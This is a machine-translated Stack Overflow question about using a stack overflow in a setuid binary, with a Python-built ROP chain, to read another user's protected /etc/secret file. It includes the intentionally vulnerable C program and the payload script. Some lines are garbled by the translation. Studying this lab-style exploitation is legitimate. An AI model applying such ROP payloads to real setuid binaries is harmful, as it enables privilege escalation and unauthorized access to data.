簡體   English   中英

當子進程使用setuid位設置執行execve時,fork()中的文件描述符

[英]File descriptor in fork() when child executes execve with setuid bit set

擁有此程序,它將打開/ etc / secret的文件描述符,該描述符由userA擁有,並設置為僅由userA讀取。

-r -------- 1個userA userA機密

程序通過execve派生一個孩子,該孩子是setuid位設置為userA的二進制文件

-r-sr-x --- 1個userA userB編

編有緩沖區溢出。 堆棧不可執行。 我設法編寫了一個調用read()的ROP鏈。 對於讀取,我需要一個描述符參數,我希望它是/ etc / secret的描述符。

是否可以修改打開/ etc / secret描述符的信息? 從現在開始,我被拒絕了,這很有意義,因為我將其稱為userB。 子進程運行一個具有setuid位設置(userA)的程序,那么也許有一種方法可以在子進程執行階段調用open嗎? 有任何想法嗎?

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);




    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
    if (fd < 0) {                  //I pass the file descriptor as a parameter
                                   //Normally a integer 3
        perror("open");
        return EXIT_FAILURE;
    }

    if ((pid = fork()) < 0) {
        perror("fork");
        return EXIT_FAILURE;
    } else if (! pid) { /* child */
        dup2(fd, STDIN_FILENO);
        close(fd);



        execlp("/opt/prog", "prog", (char *)0);
        perror("exec");

        return EXIT_FAILURE;
    } else { /* parent */
        printf("Parent waiting\n");

    }

    return EXIT_SUCCESS;
}

更新1:

編源代碼:

#include <stdio.h>
void main(){
    int buf[8];
    read(0, buf, 256);
}

更新2:

鏈條

#!/usr/bin/env python
import struct

payload  = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)



payload += "A" * 8
payload += struct.pack("<Q", 0x0)        
payload += struct.pack("<Q", 0x1)        
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)                 # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009)  # Value for RSI register
payload += struct.pack("<Q", 0x8)                 # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)


payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)

更新3

做了這個測試程序。 / etc / secret由userA擁有,並設置為僅由userA讀取,我以userB身份運行程序:

測試

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);
}

輸出為:

./test打開:權限被拒絕

所以我想沒有辦法解決,open()在返回描述符之前檢查文件權限嗎?

好吧,您需要關閉父母的管道,不是嗎。 為什么不在子進程中打開文件。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM